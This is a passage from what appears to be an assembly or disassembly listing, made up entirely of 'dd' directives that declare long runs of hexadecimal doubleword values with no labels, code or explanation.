0F1561DEFh, 2DA31BDBh, 998BAC68h, 92E4DEECh dd 64BB0FBh, 43CD4DE3h, 0FD8BBAD5h, 19581190h, 83CCDFC2h dd 0EBE22651h, 0BE097930h, 0E6107B69h, 0A49264DBh, 1294DAA9h dd 2FAFE738h, 0F11763E9h, 0B5024918h, 89236174h, 1D00D403h dd 1756CBF9h, 0A196F18Fh, 0DCA54428h, 7243CF5Eh, 7DB7D6A3h dd 97D05585h, 8E77B41Ch, 32E3BB40h, 4595C901h, 2C802B93h dd 666D0B55h, 0EBF671C6h, 0F8423362h, 0E9B6EA17h, 18D443C0h dd 212B8C44h, 94E7EE2Ah, 0FA5EFAC0h, 6F5731F7h, 8A505257h dd 59A9668Eh, 0FD60CDB9h, 0C233FB5Dh, 0A9895D0h, 3AA7558Dh dd 9A9F5513h, 8D7E4123h, 7F34CC33h, 8ACAA940h, 253F4CF9h dd 0EDFA59EEh, 0CB5EF6BAh, 41BF0AD2h, 60A54E2Dh, 0CA7D70CDh dd 797A10E6h, 796A6E40h, 4BD6462Dh, 24C3B999h, 8561A79h dd 17BB851Fh, 48993C7Dh, 2E497BCBh, 5A940E3Ch, 5963EB0Fh dd 0A02602D2h, 500084BAh, 0FEFE47E1h, 704983C6h, 6822949h dd 25E1C2CBh, 2C4FB47Ah, 0BB22BC73h, 0FC0724EEh, 7076482Bh dd 0A45EFA9Ah, 0AA5E3C7h, 252FD379h, 0B21EF57Ch, 0BE1180D1h dd 0F3FCB245h, 450AE97h, 6E2CD8CFh, 7237BC04h, 98CD8D89h dd 0EF8094D1h, 1288B781h, 0D91989BBh, 671B09C2h, 0D692BBE0h dd 0D14BF872h, 4A6E2C2Bh, 3203297Ah, 0DF2FD79Bh, 208208AEh dd 0FE758F7Bh, 2BD66615h, 0C5C6FFBAh, 262DC968h, 98CEF5FEh dd 4EF82CF2h, 0EFB3944Bh, 0D68EDF7h, 0A0D78B3Bh, 6014B5FAh dd 0F900718h, 3104CAABh, 0BCB57771h, 0F4E8E148h, 956BD541h dd 0CFEA2958h, 3C2A00DFh, 0F72CC8BDh, 8E2F073Ch, 0E6EDDC4Dh dd 54107578h, 928E985h, 3469D34Ah, 30EF2C77h, 0A9470AD5h dd 328CA38Fh, 19EE75D1h, 0BA532B6Fh, 0C071E81h, 0CCED2D94h dd 48AA93C3h, 907D9582h, 0EF7BD1C3h, 5341BB50h, 0EF64A707h dd 7DAEAB98h, 0A338C2EBh, 913B098Fh, 2E8E682Eh, 0B7ACC9C7h dd 85243F37h, 563B5DC5h, 6933395Ah, 51D2C4FDh, 0CEBEB372h dd 93AB161Ah, 245F174Ch, 63E71EB8h, 3FD3EBEEh, 30ED2BDEh dd 0C4BB422Dh, 4132C859h, 0BED5E9CCh, 0B63195ACh, 0EC752AC9h dd 4230D4C4h, 6B1AE7A1h, 0B5A231D0h, 0DCEF810h, 0AB03D7F8h dd 0B55A4371h, 4B5A2689h, 0C06A6CF5h, 0B90EAD8h, 49060A8Ah dd 0E628D365h, 3B4D4B33h, 0B0C9CAA0h, 148B496Bh, 56F377C3h dd 0CD24EDECh, 0EF6902ECh, 0DDDD4856h, 0E9160E81h, 1AF688FFh dd 0BAF2A1E1h, 0B459BD45h, 9BB6B40Dh, 0E7FD0DAAh, 86F9463Ah dd 14E4348h, 0C10CF99Bh, 0EFEC8681h, 4E43C733h, 0D530ACB8h dd 813B26AFh, 0F16B1079h, 93B8A5CEh, 845F0E5Ah, 0F7BF3F2Eh dd 77F0039Dh, 0AFA69E31h, 0FB4DE989h, 0FA23868Eh, 0D6E5F24Eh dd 7C76CD38h, 20626818h, 4412464Ch, 3DA25193h, 0AFDE6B0Fh dd 0F5245ED9h, 0A28413FBh, 1900375Bh, 87408DF6h, 659C7465h dd 0A12457D4h, 265363D4h, 5E2596C1h, 0EF4BE12h, 41043C2Ch dd 0ECEE9C2Eh, 9007AC7Bh, 0AF4123A8h, 334182E2h, 8D569D83h dd 38D3AE84h, 0E7B18707h, 0E2D07BDAh, 0E39FEBF1h, 89B2C66Dh dd 0CF446CE8h, 97020CC7h, 8C314A7Eh, 0EA58E267h, 0F72F390Ah dd 54E5DA1h, 701BD3C4h, 0BA38B0D1h, 6033235Ch, 47D1B34Ch dd 39F55DFDh, 8F577B7Dh, 0F2A7DA03h, 9F6982A8h, 4911B011h dd 0B6F7F4ACh, 9BD5F597h, 7DFEAEEFh, 0E195B6F5h, 0F753FCC9h dd 0FDACC09h, 2CE544EFh, 0A4EB9C91h, 0F04998D0h, 0A6D532C5h dd 7174FC67h, 62785142h, 25758255h, 21081634h, 3003BC31h dd 2549A112h, 0EBB672Bh, 33F6DBD1h, 1EF7DB8h, 20AEC3BDh dd 0F67F444Ah, 482A03FFh, 0E8ABF6B0h, 86724BBFh, 0FCCA9273h dd 0D2B61C51h, 0B476E91Ah, 7C4C99F6h, 29062A9Ah, 7C6E6E55h dd 55365118h, 0D6114235h, 2F569E55h, 0DBFD3292h, 0F0C76684h dd 7A58DA3Eh, 0C0BC9ACDh, 1B0438C9h, 8967BC9Bh, 7026F119h dd 0BCE3FD1h, 0BF9E919Ch, 96DE8FE0h, 0E8BFEF1Dh, 0BB84873Ch dd 0EBB674A3h, 9C80B7DFh, 76B0648Dh, 0A98248A7h, 0A7CE8103h dd 0A41905F8h, 7085B8E2h, 4820BF08h, 403987B2h, 85B6680Eh dd 9F4C3979h, 6A294404h, 3B38F2D6h, 41585D6Fh, 99A7B55Ch dd 608584DEh, 0A66D3A9Eh dd 0FDB8125Bh, 6695A81h, 157955F1h, 4EBC81D6h, 4502FF8h dd 3EEE11EFh, 140493D0h, 0E1B967BDh, 56B8FBh, 1A584671h dd 0A87417E6h, 21592127h, 0B14207CDh, 0F450943Ah, 0D879035Eh dd 0BF013623h, 0D1982468h, 34021782h, 0AEDCAB4Fh, 25D5DFEh dd 2E57DC7Bh, 104B2C47h, 0F3E9F71Ch, 0BD89CB99h, 63B74CB1h dd 0E0DCDD8h, 7A958D54h, 0CC7A8F00h, 0D51C9F78h, 0A5B28ED2h dd 9EF7FB6Ch, 0B2C3215Fh, 0BCCBF5E3h, 4C93862Ah, 25A542C7h dd 0EE9CDCDEh, 0C2F8039Bh, 0B56F9AF4h, 0E1FF716Fh, 6BD77C22h dd 47AC4D3Dh, 0FC0621A7h, 704615F0h, 0A04CC43Ah, 0B6C6F14Eh dd 0DB9E0DB7h, 11FAAD0h, 63F910B6h, 0D2997FF9h, 0DEC0B7E5h dd 81C9391Bh, 813D487Ah, 0A04B81ACh, 0ECD3526h, 6E46AB61h dd 8AF760DEh, 0A0A9C12h, 2BA37108h, 58665739h, 6EF40E10h dd 0C003FBCCh, 3C2D6B5Bh, 96B58C2Fh, 0F2B3495Dh, 0B01C5C16h dd 474C160Ah, 13ABDE9Eh, 8E411D0Eh, 178A3815h, 1BBABC7h dd 0A4439089h, 0A7481756h, 0BCEDE577h, 0D668776Fh, 96FA129h dd 91EC1554h, 0AF8451EBh, 0BB99F83h, 1FEF6652h, 0D28E2B5Ah dd 9BBDC5D9h, 0C59E8254h, 77EC537Eh, 0F40DCC66h, 5C6F299Fh dd 9D844937h, 20D7B673h, 7703427Fh, 161C1B41h, 0E4B74E4Ah dd 0E524774Bh, 0F14C6AD3h, 0FED41684h, 9AB88B3h, 0F1BEF221h dd 72247DDh, 0F5BBE061h, 0A7F80638h, 0E0C331C7h, 0B18EAD1Ah dd 8038B34Dh, 99D40E50h, 94C257CBh, 5B078B28h, 69BEA45Ch dd 0C8F19A29h, 16C46B72h, 7EDD1982h, 0EB494468h, 57239426h dd 0CA5703C9h, 493470D9h, 0DDFE5A03h, 0B15F3A7Bh, 90230E28h dd 804F3900h, 2AA54CD1h, 75457BBAh, 0B863B694h, 0BB997D5Ah dd 22062FE9h, 0B69F4187h, 0E38759B8h, 84CFF361h, 0FAA76C69h dd 286CBFC2h, 507C504Ah, 38A282E1h, 2314ECA5h, 0DD565453h dd 74DCE978h, 336C5CB3h, 9CAD179Ah, 6F0BEAD9h, 0D7E8A0B1h dd 0D4C76750h, 9E877A20h, 37EDFC75h, 3C9BB98Dh, 0F24050A6h dd 0F864504h, 551C67B8h, 0AD3FCACh, 0BB9508BEh, 54CB2F6h dd 0E01E9A82h, 0B5372063h, 0AF0FE3FAh, 5766A19Fh, 6926E2D6h dd 7E26E112h, 0E4C57210h, 9665EAF8h, 0C7CFD63Dh, 305FF002h dd 2014BB80h, 0D917531Ch, 82B68B93h, 83D11B31h, 43564ACEh dd 0E41076E5h, 6945E8E5h, 0A89475C1h, 0FBCB38ADh, 0FA3F4106h dd 98098350h, 0C21C0D4Bh, 98977757h, 0DDB9D12h, 400BD1D1h dd 0C5E048E7h, 0B9185013h, 752B8979h, 4053B96Ch, 0E83DDE4Ah dd 0EA4D0AB8h, 0A2586244h, 78C039D8h, 0A93F6167h, 59FCC296h dd 9B3EF61Dh, 0A2BF3E7Ah, 21FBF020h, 3CB1DB62h, 0DCCBBBBh dd 368BBDFAh, 0A5F2EEE5h, 6BEC9D8Ah, 4FCD61D7h, 5F06BC59h dd 0D141600Eh, 4CB508C7h, 403DD159h, 0CD7A245Ch, 0E5AC7B75h dd 7F9C671Bh, 0CEA68E0Dh, 93423126h, 927ED7F4h, 2D3828F3h dd 0FCFBE2F0h, 0EB326BB6h, 0BF7A652Bh, 214FECCDh, 42D97DE2h dd 28DBD632h, 0DDDFA25Eh, 0B40F3D2Ah, 0D6208C0h, 742B0DD4h dd 29E37A05h, 0A14EDB35h, 0CCEB60BEh, 0AFC411CBh, 47432B06h dd 73FB15F7h, 888CFEE0h, 0DFA71C63h, 91850D4Eh, 75701F50h dd 0CF5C41D2h, 1C4A1ECDh, 8D086844h, 228BBB21h, 0A02A8C4Ah dd 4C56EB55h, 9902845h, 59DF6DB3h, 8D080DCFh, 34438F55h dd 56410DA3h, 933BB3A0h, 0CECB0FFEh, 0DB95965Eh, 6B91E1C4h dd 0E7D68475h, 0F1B87E80h, 761DEE69h, 2CCC4544h, 396623D2h dd 15EEE12h, 0B1456698h, 0CFB4FAD8h, 0BE2A3AFFh, 6CCB407Bh dd 0A538DB36h, 0E79B8FC7h, 70BC2FFDh, 0E8CA02FAh, 4840C5AFh dd 0E7A01D60h, 0ECFC9965h, 37D3610Eh, 25BFA591h, 0B08D5991h dd 3B461D69h, 62D76F94h, 0E6AADAB6h, 46C68079h, 0C0650112h dd 0CCE1DDABh, 0B63A27B1h, 0DD18ED6Ch, 857500ADh, 18B044FEh dd 7AAC6A74h, 29E2C9E6h, 88CAD0C5h, 56DBD07Bh, 5EC94496h dd 685E40C5h, 0F5AFC16Eh, 7D7EA624h, 4CAB20Eh, 93B334B9h dd 243388C2h, 0CD6B6A91h, 48DDB37Eh, 2877422Dh, 18A41699h dd 0DDBB13EAh, 80552ABEh, 71E7B245h, 0B1A37316h, 383AEF94h dd 0B601E725h, 0F08EBC19h, 664EC2E7h, 0DDB1ABDBh, 7A716B64h dd 0E65A105Eh, 2FA1CEBh, 0FC59030Bh, 574BB3F8h, 0F3B5E6FDh dd 0B3E6D538h, 0AE564331h, 608797D3h, 0E4522F5Eh, 0F7EC6926h dd 475AD05Fh, 7C3C679Fh, 0E110225Fh, 23128B8Ah, 0B6CCF88Ch dd 965222Ch, 0D6BC0052h, 94567562h, 401FF653h, 4B139566h dd 0A3F97A68h, 0B4A94D7h, 0A9C77EC5h, 509E43A3h, 57737380h dd 0C1EA8245h, 0B9BB8EFBh, 3CFFE1B9h, 0B69C2CD9h, 0C9011C98h dd 0C35BEF42h, 568906F3h, 0F739CDAh, 304DE46Bh, 0E5F23DE6h dd 0A1EC1F23h, 42B26BB0h, 0DD0498D9h, 28DF5D06h, 3B19AB85h dd 869F7875h, 4144BF67h, 14CDF699h, 425F9661h, 9034942Eh dd 0B9515D3h, 3D2B0576h, 0D9118AF3h, 0EA8EEAC1h, 0B0896E7Eh dd 290F1431h, 308BA76h, 43DFEB1Bh, 3C901380h, 512A5A25h dd 6ADAE2C0h, 0D2D4F119h, 9C58E89Eh, 3C63B551h, 85372206h dd 48B6D6AFh, 0D1019437h, 0B0E294ECh, 5D7FDAC2h, 2DCFBF55h dd 64B01705h, 3F3D8998h, 7FAB18A1h, 0AFFCB516h, 909408A1h dd 6D305C27h, 2D02565Bh, 0F3493B1Eh, 1C4395Ch, 58523328h dd 9381D7B2h, 0D690455Dh, 9AC42B7Eh, 0BCCAF86Fh, 0B6134AEh dd 0ED385CB5h, 3CC08FDEh, 0CBEC58FCh, 7DD67C4Ch, 66B9F7DBh dd 6BBA6BD5h, 85137A68h, 277F09CBh, 0B058BAFh, 0BC0D882Ch dd 8CA5725Eh, 7E88C6F8h, 1D9EACCBh, 9144DD08h, 0C880E8D6h dd 5F1278E0h, 8A400A7h, 0F4E5A094h, 58A02D92h, 3230589Bh dd 0E08B95F0h, 1C4D1131h, 0D312CD51h, 0BBAA211Ah, 2FF305EBh dd 2689967Bh, 4C73F3B4h, 0BAA02205h, 5D1649D5h, 0E1EE541Dh dd 0FBEB9B8Bh, 5DC664DDh, 21FF3B7Dh, 815F77h, 2CB772CDh dd 0EA1E3591h, 9329E49h, 116E7D4Ch, 65EBBFFDh, 6D2EA490h dd 159A3A63h, 7AFF6EC2h, 146A0BAh, 0F1D0E674h, 0F195ADB5h dd 3CC0CA2h, 67FA9EA2h, 1B159C03h, 0A03B5184h, 0CA8BA2Dh dd 4AD427F5h, 153CE2C9h, 57992BCh, 4225BEC3h, 0A4679C30h dd 99C8AD37h, 4A32C3CBh, 8797F746h, 60E2973Ah, 9F1D1E52h dd 0C708FBE6h, 7271D8D6h, 38419614h, 61B4907Eh, 0D70665F5h dd 61C63852h, 507CE1BCh, 0B6EBFBDDh, 47C570B3h, 5A0D9CEDh dd 0DE6F0310h, 34422073h, 97E9B4FDh, 0C7F1D12Dh, 0A8606908h dd 3D6330D4h, 703213C7h, 0D0BFD523h, 0C27EF4D8h, 919870C8h dd 381D58EEh, 8171BBB6h, 80D5B1F2h, 1C2D2A1Ah, 56706A2Fh dd 6AD72EC0h, 9B1AA253h, 35A77506h, 0A42F63D5h, 5CCA9753h dd 6334ABA8h, 0D81A43BFh, 6ADDD198h, 0C1106B39h, 0D1098C01h dd 33049F69h, 23A24892h, 0F916B8B7h, 8D3D796Eh, 2ABEA742h dd 2C8D29A0h, 546255BFh, 1C0A87FBh, 0C564767Fh, 0EF32A964h dd 148D8867h, 0F427CF67h, 0E96EDDDDh, 0F9DE88A1h, 0D1F9ADB5h dd 999A617h, 5F03979Ch, 0E5446C88h, 0A0CB53CEh, 4A741E6Ah dd 965B4779h, 0E8F98FCh, 51CFA9DFh, 31B4B541h, 66CC76A0h dd 0F2DB0A2Fh, 0EC7F2E6Ch, 0E22A41h, 0DBEE7D9Bh, 0BF0BBED5h dd 0A453E936h, 0B53FB539h, 0D6E60DE9h, 3C8764FAh, 257FBD3Ah dd 6DCF951Fh, 0B01AD1C6h, 0AE507338h, 0A6D0ACEFh, 0D13A0EA8h dd 0A3410A92h, 4658036Fh, 0F4EB51B2h, 72C5CCE3h, 676F5B87h dd 22FFC2C5h, 1DFBFE3Fh dd 0B4FBF611h, 18D2B1FBh, 0C1516B7Fh, 3AA0D652h, 0DAFCBE7Bh dd 80B9AA13h, 0F9A9BBECh, 8010D3D6h, 454EA24Eh, 6E3C24AEh dd 0EEE76C44h, 658C6F85h, 37BC9645h, 0F2D5E749h, 73523915h dd 0AE757E2Fh, 73DE8787h, 6C13A5BBh, 9371B97Fh, 5CEDB36Ah dd 5B371D29h, 0BF8B766Eh, 4450874Dh, 8510B78h, 5E71BB36h dd 3F407743h, 0CBB7D68Ch, 0DC3B8F4h, 9060D6B3h, 2BA22192h dd 9BF29088h, 3573D6A4h, 78B2C641h, 0D625E3B1h, 0F290D5DAh dd 1CBAF5ACh, 593AC0DFh, 814924E2h, 0F39ED135h, 0BBFCCD4Ch dd 0E54DC5F5h, 3154CBA3h, 7BC42D35h, 7A79E0A7h, 0A03F8C48h dd 120B51AEh, 0CCC004A4h, 742474FBh, 0D3E11C19h, 8CA798D3h dd 0FEB9612h, 9BFC20B7h, 23EE0A88h, 4E262265h, 0C28102B0h dd 0C0C8C531h, 424C866Fh, 0E09BE5A3h, 0C0D920BFh, 8C99A647h dd 0A0321886h, 0B3335FFBh, 1554390Bh, 0F96CCC32h, 0C557B7D7h dd 76E1529Ch, 0BD370CB1h, 86FB689Bh, 2D0F2E8h, 0E9CF8225h dd 0FF84C969h, 2D82BB20h, 10DD2194h, 4C4877E0h, 7B4FE4AAh dd 0D91B8481h, 413D84C4h, 242D4Fh, 0A86DFDA0h, 0F8DF6214h dd 1993CEF8h, 33A97629h, 0F727B214h, 9099E387h, 8E19CE31h dd 895B10CCh, 0F94D240Ch, 0E66A90CDh, 0DE3FC03Ch, 8CA88EB0h dd 0C0196E43h, 3EDAC7A8h, 79E37B02h, 0A16AD1E4h, 0B95DCD77h dd 68460967h, 0CE0041CEh, 4168179Eh, 336D6492h, 0E173851h dd 0C884E73h, 3CF18F58h, 57D652DAh, 811C4B64h, 0CD41A25Bh dd 77233D98h, 21976025h, 59959B73h, 0B90D316Eh, 0A9EADB16h dd 586ECB6Ch, 0C0D3DC3Ch, 351A50B0h, 6B6FDF81h, 0DF9D182Bh dd 501FC690h, 0BC1357D7h, 17FB2025h, 0D65778AEh, 0A7B717DEh dd 0B8C43613h, 377B70A2h, 7783B65Ah, 17B10BE0h, 83586762h dd 44699D24h, 34DB5B80h, 7AE7E501h, 0ADF4BF62h, 832DDC11h dd 273021Fh, 0C81837EEh, 11742F0Fh, 28448DD7h, 95AD5F81h dd 3DB2C722h, 6E88D529h, 0E0593466h, 739991CDh, 2AF72BF9h dd 0F6F3CE4Fh, 0ACC990D6h, 26AAD3A4h, 0D55D71A0h, 0B058386Ah dd 8D86AB4Bh, 97BD7273h, 9EF51E85h, 114E3A51h, 63CEC558h dd 0EA382B97h, 74ED64A5h, 0CD2891B3h, 0A8026D3Eh, 0B646DC08h dd 6F70B612h, 8D62C51Dh, 603081B4h, 54D9E435h, 0AB92FE3Ah dd 0F1B1F484h, 7D8AFC88h, 582FB65Ah, 2BA6C1EDh, 0CE7A53Bh dd 762161ACh, 95385765h, 5EB97DD1h, 89D7019Eh, 1AC7ADB5h dd 0BAABF8A3h, 0F82667C5h, 61FA441Dh, 0F759E826h, 0FB193247h dd 231F1E85h, 54DC5651h, 2FBC08BCh, 0C1CB1B59h, 5F26818Fh dd 0C44E6159h, 0B407AEBh, 67A38FDh, 26911884h, 0A5A17189h dd 71F36803h, 295F361Eh, 7CBED85Fh, 0C032AF59h, 27162A7Bh dd 0E4378D04h, 96BF218Eh, 7599A725h, 0C406C919h, 311131A5h dd 98EB07F2h, 0BF2F45C5h, 7B1BD82Fh, 2417D957h, 0FB908399h dd 0B649FACh, 1541D065h, 6A079F86h, 0EA1370BEh, 0E5E6C633h dd 574E30B4h, 6323D1D8h, 5BA498B5h, 0FD329963h, 84F7C176h dd 3CB2B914h, 766B1DB4h, 0B0E19751h, 77FAB449h, 0B7FCABA2h dd 0DE7938E2h, 0AD603DEAh, 0DFF21D03h, 8A1FDAC8h, 60CF7A21h dd 0D10E9395h, 0F84C95B5h, 0E03F8F84h, 68D1D6Ah, 5537CFD7h dd 0DA14768Ah, 4CF06CD7h, 1C93D7F7h, 0C80D152Bh, 0F73D6C10h dd 5AB2C8CFh, 7FBB047Ah, 0D79653E1h, 879589C7h, 0F287B1A5h dd 2EFC2028h, 8E4EC209h, 0F207A307h, 6485D6AAh, 0FC097B8Eh dd 5DDCDC5Dh, 0C0D25127h, 6897907h, 6F62A7D3h, 60A0DDA6h dd 0B44EAD0Eh, 609C53A2h, 776879EBh, 76966695h, 0D72EE971h dd 0A1511533h, 5DF893F5h, 0CA65603Eh, 0F84AA190h, 8F0C5CF8h dd 473C63B0h, 2A35D04Ch, 8C468C10h, 0EC91E9E6h, 34FBDE4h dd 6C5C7A14h, 9C309393h, 0FBDAB087h, 0DFC9E286h, 0DD055140h dd 0A7133793h, 12B5E234h, 0AEC10E10h, 5BD28E9Dh, 5AF50DEDh dd 4A4CF5F7h, 0D0F98BF4h, 43E6387Bh, 0C7FC308Eh, 0AB3833Bh dd 7F1F61Ch, 98667EFFh, 93E711F4h, 15088A98h, 0FD922210h dd 0EFD27F20h, 5FBDAB5Fh, 0EAA34E16h, 81C63D27h, 0FB16155Bh dd 57A8B671h, 36086FF4h, 0B0057E7Bh, 14461825h, 9AE2632Dh dd 0C7339ABDh, 0AE0FDCAFh, 13173051h, 0F9C3B22Fh, 0BF9536CFh dd 5FE743E2h, 0C35AFD89h, 0A68F425Dh, 9593F235h, 0C06A0183h dd 0AB807C50h, 0DAC44C32h, 0BC143106h, 3E75C534h, 0D39EA790h dd 1D443B58h, 0C0E0801Bh, 0EDAFF8BBh, 883542BBh, 0DC5288E9h dd 9852FC26h, 7362CAE4h, 61EEBE67h, 0E939A0DFh, 6F586A0Ch dd 0D096E63Ah, 19388BB2h, 6D7341E4h, 0BC134E15h, 574DF421h dd 1C53FC07h, 0B867ACBEh, 0C9821CF1h, 4897809Dh, 0F5D0C51h dd 3DC5B78Fh, 8B3E3E31h, 0CDCE2CF7h, 6AAEBDBEh, 282B8D7Dh dd 67F2A4Dh, 69B69B50h, 69208631h, 0D7348458h, 94D6D5DBh dd 41797281h, 8BADEE4Dh, 5ACBE9F2h, 647D6EFBh, 893C099Fh dd 66D1CE76h, 0EDFABF4Bh, 0F6DA5105h, 55428EADh, 2CD3649Ah dd 0E96000FDh, 0D3657ADDh, 0FA8E7DACh, 0A2C06FEFh, 0A7DC766Fh dd 0FF0CC314h, 85420A63h, 0A7393129h, 3E6319DAh, 6D515C28h dd 0AFB8614Dh, 8EF90C30h, 0B832BEDCh, 429CCD78h, 44FE0694h dd 0AD936CABh, 12BC4203h, 0CCF2E8A1h, 0A850A1E4h, 78DCFBB2h dd 0E32317B9h, 45C93FB2h, 8CAB9A7Ch, 0B91D4359h, 110AABCFh dd 58593930h, 820E38D2h, 452D8A6Ah, 0E837EE5Ch, 0C5484D10h dd 98948DB3h, 0B6CAD21Bh, 985EB09Ch, 0CF62960Bh, 4A90E484h dd 0A8566540h, 50D58FC9h, 0A207D638h, 1CD2A5A9h, 0D672D59Dh dd 7CD1C2D7h, 0C3CB139Ch, 1620A17Ch, 65CC5213h, 0EFC0921Fh dd 13D4A8E5h, 6E6A32AFh, 368CAAC4h, 0E898211Ah, 0CB6350Fh dd 0DA7175EAh, 0BF4EFFDAh, 0BA9600A0h, 0E2A2C91Dh, 28D7E5E0h dd 2A55CEAAh, 5558F0C6h, 36743922h, 0B26ECF10h, 30833F78h dd 0B907B4FAh, 0B53FA8B8h, 0E4EC52D3h, 0DF0D82ABh, 534D6A57h dd 2236A42Eh, 0F2A82315h, 197F8C82h, 60735BC6h, 0D9319B44h dd 3F92995h, 0B1311AA1h, 0E147180h, 7CBBBA9Eh, 10BE0B64h dd 9B0C0CA2h, 0CEA8CBDCh, 36FEDC7Ch, 296E7EBEh, 0BE01EFECh dd 21FEE9A4h, 5308FDFBh, 8FB02FEh, 0CA073507h, 306CE407h dd 9D074C5h, 0C13B4A86h, 0F933A461h, 1D82115Dh, 0D94BA9AAh dd 0B8ACEE7Bh, 22961F64h, 6BBAA46Fh, 8F8BAB72h, 0FAEBB2E6h dd 0FDE0CFF4h, 5FF0ED3Ch, 44327F39h, 72E0542Ch, 9DC938C6h dd 4F9C5A2Ah, 4FA842EFh, 0FBC43443h, 0B39C9346h, 65F7A882h dd 12A0079Eh, 0F876E43Ah, 23E97F58h, 8ACD4CFCh, 9BAB30F7h dd 0C86595D3h, 0B223DBA0h, 0FDAD5CEDh, 0A091BF12h, 6CF7B93Bh dd 7C698AD2h, 0FA4F943Dh, 10EE25F6h, 0B46B841h, 0E00EB4D8h dd 156C1D83h, 1C943050h, 28BB61E2h, 6732C9E0h, 0A75D1B41h dd 54DE468h, 58863796h, 0A110CF4Ch, 0D50BF5AFh, 57C0EB00h dd 1953A677h, 866CA717h, 66EB1EE0h, 71DA6577h, 0C98CEDFDh dd 17F16CE7h, 0ECA025ABh, 3ABB8F64h, 0B96B7F0Fh, 0FC1F35C8h dd 0B9081FB2h, 8670AE81h, 0F9553746h, 4CEE825Fh, 0FF38724Bh dd 24B0F6B9h, 0B2295FF9h, 1904F8A2h, 9DC42FE0h, 8D42FEF4h dd 0EF3A7D32h, 0C94B5F9Eh, 0D28118B1h, 376B1456h, 0ACCE0EBBh dd 1D5A91F0h, 0EA5C8B2Ah, 8F1D6561h, 86B65EE0h, 0AA930CCh dd 4C1C976Bh, 38450F70h, 0EE41E2FDh, 0AD480882h, 0A94907F3h dd 0AFE3A1C2h, 0E56EB063h dd 71494114h, 0A02E5A1h, 1980F0D4h, 0CE84C34h, 0AC90D16Eh dd 58BB2D9Fh, 45B407F8h, 2916EB43h, 0B5EFD651h, 18108EDBh dd 0A52E68B9h, 721FB228h, 0EB09ADBEh, 39EBE78Eh, 0CE2E5341h dd 0A36DE2Eh, 89329622h, 2370EF22h, 86ACF7A7h, 0B1F67D33h dd 0AC6C430Ch, 0F815FABEh, 81912E55h, 3AEF44C1h, 465D63F8h dd 0C5C100A1h, 1488A6FAh, 0F966F360h, 3E5D635Eh, 58C71AA5h dd 885D8716h, 0CD99E0A5h, 491C4077h, 8F5F717Bh, 1FA0B5B9h dd 0DE9F9C50h, 0A0340FFAh, 0E1BD8EE7h, 534D16C0h, 408954FBh dd 0DF63B9F3h, 6960CD65h, 9312166h, 0EEAEB4DBh, 91775ADBh dd 0F050D7B4h, 0F934DEDFh, 0B60824B7h, 5856DF2Ch, 0D1ED91E4h dd 9FB83BB7h, 468253B3h, 2CB23CE2h, 1224643Bh, 0D0DCDBCAh dd 5D3654A2h, 0EF29AEFh, 0A343BC9Bh, 86049A5Ch, 0BD87A065h dd 0B00D3CEEh, 0EF5D2D99h, 0F763AECFh, 0FDF7ABEBh, 0CC0197A9h dd 9A621EABh, 0A84B9A4Dh, 2925346h, 0ED906E1Fh, 0F8E45B21h dd 2163C07Fh, 4FC9D6A0h, 105734D0h, 54F7D9B1h, 0C2E7A835h dd 206356EBh, 0CF972EC2h, 0CA872115h, 0ADDB1DF6h, 0A354A709h dd 0D0C0664Ah, 0CC408871h, 904AF467h, 3181C7DDh, 58B1C935h dd 9F40C741h, 327A41BDh, 31A16B98h, 0E6D76D9Dh, 0E05887C3h dd 2D799D4Dh, 203A4403h, 0F9ED82E4h, 57384672h, 2866E80Bh dd 0ABD1929Ah, 0EC75BFFCh, 61010487h, 1B286386h, 9D1F4591h dd 7155829Eh, 0F25C68C0h, 93DF2CFCh, 8B33193Fh, 58743AD0h dd 8DC0A7A5h, 8B4D263Bh, 0A5C8F375h, 7EA30A36h, 9AB1421Ah dd 39AA85Eh, 0F3C7F32Ch, 60B6C0B9h, 2F651771h, 3DCFBDBEh dd 6E5C4974h, 65B1E0D8h, 49ACA8DDh, 9266D17Bh, 0DC7E3EDFh dd 2B238FD6h, 29E260F6h, 0FD4816E8h, 64BA1137h, 7A49C213h dd 0E7F806BFh, 6CBABDF8h, 0FAA38C91h, 0DDA173E6h, 0C1D27CAFh dd 50C1ACE8h, 68B00ECh, 63848B5Ah, 0CC4C6D1Eh, 0DEF67D41h dd 697D44F6h, 36615784h, 0F53E4608h, 0AFDA969Eh, 0CD3145FEh dd 576DDC17h, 2039AC7Fh, 6557F564h, 2C5A569Eh, 6F7E251Fh dd 9E87DDB0h, 0BAB0376Bh, 0F087FB79h, 457A5BEFh, 0A592CE8h dd 9F9ADC44h, 8FB59693h, 8CD8F067h, 426F3028h, 902BBDA1h dd 0F11D4093h, 3F388E72h, 0C67D566Bh, 0DF519E38h, 8C9881D9h dd 0B42B7B7Eh, 7FC7B973h, 0E12E5CE9h, 0B25479ADh, 5B915E8Ch dd 2A2BF3A1h, 8B56EC2h, 32D154B0h, 94714049h, 0EE41CE82h dd 124D9919h, 5D989C96h, 0A55D4F9Ch, 0F06E6F25h, 7B9D667h dd 0F519A4D8h, 0D928F69Eh, 0E32B23ABh, 10E05672h, 0A8AE2094h dd 9306AA48h, 1A69BDB8h, 0BB8A20F9h, 0D80B80E8h, 1817867Ch dd 5C79DBCCh, 0C653DAC9h, 0EB3647F4h, 0D96D231Bh, 0E295FB0Dh dd 9104112Fh, 0AD2A011h, 0AE450363h, 52B7C848h, 0BE931605h dd 0AB71CFCh, 0F1C8191Bh, 4E2D4BB6h, 2918BB02h, 22D3F62Ch dd 0DF49DCE4h, 0A8C5DF12h, 0F0E75899h, 4E7190EBh, 0DF1543B4h dd 14CA2B1Eh, 70A53517h, 0D013E30h, 13A70DB5h, 910DDB98h dd 0F303D3BEh, 0F1C11DDFh, 0E8F8FA27h, 31280BDEh, 4DCDCB19h dd 0DFDE43A5h, 66B4930Bh, 0F3FBC831h, 5502C44Ch, 78220405h dd 0E0068D9Ah, 72634CDAh, 644A09E6h, 1BEB39CCh, 28B293Bh dd 6FC94F42h, 0AC66DB2Ch, 3FE6A4A6h, 83F15749h, 9249D2E6h dd 2704F316h, 9C9AD77Bh, 0A231001h, 0C1D3B984h, 0A2CE9C25h dd 0D4D395F5h, 225DD082h, 0FC0F794Eh, 1A797DECh, 0BE4A7B60h dd 0F7E6E657h, 0D9FBBC04h, 2282F260h, 4EA45420h, 0AEB83BA9h dd 0C819B5F4h, 68B7CDEDh, 80FF8B6Dh, 81E65AF3h, 0D603F0A5h dd 0E681B407h, 79EAB58h, 0F4047E78h, 56992A64h, 677DCAEEh dd 0E837772Eh, 6E470AA8h, 0FB568966h, 0FE66D9Eh, 1EBEAC11h dd 7155A7A3h, 182E4CC5h, 0F8AFA096h, 